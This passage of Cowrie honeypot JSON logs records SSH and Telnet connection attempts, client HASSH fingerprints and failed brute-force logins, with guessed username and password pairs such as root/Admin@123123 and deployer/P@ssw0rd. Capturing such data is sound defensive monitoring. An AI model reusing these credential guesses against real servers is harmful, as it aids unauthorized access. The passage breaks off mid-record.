{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:06.218203Z","src_ip":"73.36.177.174","session":"4011a2351089","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ys","password":"ys","message":"login attempt [ys/ys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:06.432486Z","src_ip":"73.36.177.174","session":"4011a2351089","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:07.481882Z","src_ip":"73.36.177.174","session":"4011a2351089","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":34888,"dst_ip":"10.17.0.5","dst_port":22,"session":"54ce352bf4c9","protocol":"ssh","message":"New connection: 45.153.34.195:34888 (10.17.0.5:22) [session: 54ce352bf4c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:07.530519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:07.535344Z","src_ip":"45.153.34.195","session":"54ce352bf4c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:07.618818Z","src_ip":"45.153.34.195","session":"54ce352bf4c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ankurkudintzi","message":"login attempt [root/ankurkudintzi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:07.905927Z","src_ip":"45.153.34.195","session":"54ce352bf4c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:08.190555Z","src_ip":"91.92.40.36","session":"d90de3f05032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"b2","password":"123","message":"login attempt [b2/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:08.788685Z","src_ip":"91.92.40.36","session":"8488be1f4ff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:08.992457Z","src_ip":"45.153.34.195","session":"54ce352bf4c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47774,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2d59296129a","protocol":"ssh","message":"New connection: 91.92.40.36:47774 (10.17.0.5:22) [session: f2d59296129a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:10.672541Z"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:11.086658Z","src_ip":"91.92.40.36","session":"8488be1f4ff2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:11.630903Z","src_ip":"91.92.40.36","session":"f2d59296129a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:11.635284Z","src_ip":"91.92.40.36","session":"f2d59296129a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":16724,"dst_ip":"10.17.0.5","dst_port":22,"session":"12ce85a132f2","protocol":"ssh","message":"New connection: 150.136.214.177:16724 (10.17.0.5:22) [session: 12ce85a132f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:12.105206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:12.109607Z","src_ip":"150.136.214.177","session":"12ce85a132f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:12.137905Z","src_ip":"150.136.214.177","session":"12ce85a132f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jhlee","password":"1234","message":"login attempt [jhlee/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:12.280304Z","src_ip":"150.136.214.177","session":"12ce85a132f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":36206,"dst_ip":"159.203.135.109","dst_port":22,"session":"fda9f2cbb92c","protocol":"ssh","message":"New connection: 201.17.146.173:36206 (159.203.135.109:22) [session: fda9f2cbb92c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:12.714536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:12.718539Z","src_ip":"201.17.146.173","session":"fda9f2cbb92c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57712,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d624ac59149","protocol":"telnet","message":"New connection: 172.81.62.90:57712 (159.203.135.109:23) [session: 7d624ac59149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:12.734634Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:12.854051Z","src_ip":"201.17.146.173","session":"fda9f2cbb92c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:13.310670Z","src_ip":"150.136.214.177","session":"12ce85a132f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123123","message":"login attempt [root/Admin@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:13.419496Z","src_ip":"201.17.146.173","session":"fda9f2cbb92c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:14.560485Z","src_ip":"201.17.146.173","session":"fda9f2cbb92c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:16.598752Z","src_ip":"91.92.40.36","session":"f2d59296129a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:18.727131Z","src_ip":"91.92.40.36","session":"f2d59296129a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27200,"dst_ip":"10.17.0.5","dst_port":22,"session":"2874e8b690c0","protocol":"ssh","message":"New connection: 91.92.40.36:27200 (10.17.0.5:22) [session: 2874e8b690c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:20.664775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:23.345881Z","src_ip":"91.92.40.36","session":"2874e8b690c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:23.349355Z","src_ip":"91.92.40.36","session":"2874e8b690c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":62262,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc6248c2069f","protocol":"ssh","message":"New connection: 91.92.40.36:62262 (10.17.0.5:22) [session: bc6248c2069f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:25.961380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:27.378001Z","src_ip":"91.92.40.36","session":"bc6248c2069f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:27.381003Z","src_ip":"91.92.40.36","session":"bc6248c2069f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest","message":"login attempt [ftptest/ftptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:33.137522Z","src_ip":"91.92.40.36","session":"bc6248c2069f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":62368,"dst_ip":"10.17.0.5","dst_port":22,"session":"88dea622e5d4","protocol":"ssh","message":"New connection: 91.92.40.36:62368 (10.17.0.5:22) [session: 88dea622e5d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:34.250499Z"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"P@ssw0rd","message":"login attempt [deployer/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:34.619614Z","src_ip":"91.92.40.36","session":"2874e8b690c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:34.993583Z","src_ip":"91.92.40.36","session":"bc6248c2069f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:35.011908Z","src_ip":"91.92.40.36","session":"88dea622e5d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:35.017772Z","src_ip":"91.92.40.36","session":"88dea622e5d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":33396,"dst_ip":"10.17.0.5","dst_port":22,"session":"97e244921c9c","protocol":"ssh","message":"New connection: 101.36.122.139:33396 (10.17.0.5:22) [session: 97e244921c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:35.838394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:35.842913Z","src_ip":"101.36.122.139","session":"97e244921c9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 